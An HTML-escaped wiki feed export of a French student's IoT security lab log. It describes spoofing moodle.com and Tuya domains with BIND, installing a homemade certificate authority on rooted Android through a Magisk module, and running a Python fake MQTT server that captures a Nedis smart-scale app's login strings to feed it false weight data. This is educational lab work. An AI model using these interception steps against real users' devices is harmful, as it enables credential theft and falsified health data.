D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10921</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10921"/>
		<updated>2025-12-11T16:21:17Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
